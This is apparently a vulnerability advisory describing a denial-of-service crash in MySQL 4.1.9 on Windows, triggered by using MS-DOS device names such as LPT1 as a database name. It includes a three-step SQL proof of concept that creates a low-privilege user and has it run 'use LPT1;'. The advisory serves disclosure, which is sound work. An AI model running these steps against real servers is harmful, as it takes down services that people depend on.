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MySQL Server for Windows Device Names DoS
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SUMMARY
<http://www.mysql.com> MySQL is "an attractive alternative to
higher-cost, more complex database technology".
A vulnerability exist within the MySQL server when it is launched under
the Windows environment that allows a remote attacker that cause it to
crash by using either of the two MS-DOS based device names: LPT1 and PRN.
DETAILS
Vulnerable Systems:
* MySQL version 4.1.9 under Windows
This flaw allows an authenticated user with at least one of the following
privileges to cause a denial of service attack:
* REFERENCES
* CREATE TEMPORARY TABLES
* GRANT OPTION
* CREATE
* SELECT
Proof of Concept:
1. Create a user account:
(connected as 'root')
use mysql;
INSERT INTO user (Host,User,Password)
VALUES('%','customer',PASSWORD('customer'));
2. Grant to him one or more privileges reported above:
(connected as 'root')
GRANT CREATE TEMPORARY TABLES ON *.* TO 'customer'@'%';
flush privileges;
3. Connect to server using new account and 'use' the database 'LPT1':
(connected as 'customer')
use LPT1;
Vendor Status:
The vendor had confirm the existence of the bug:
<http://bugs.mysql.com/bug.php?id=9148>
http://bugs.mysql.com/bug.php?id=9148
ADDITIONAL INFORMATION
The information has been provided by <mailto:io@lucaercoli.it> Luca
Ercoli.
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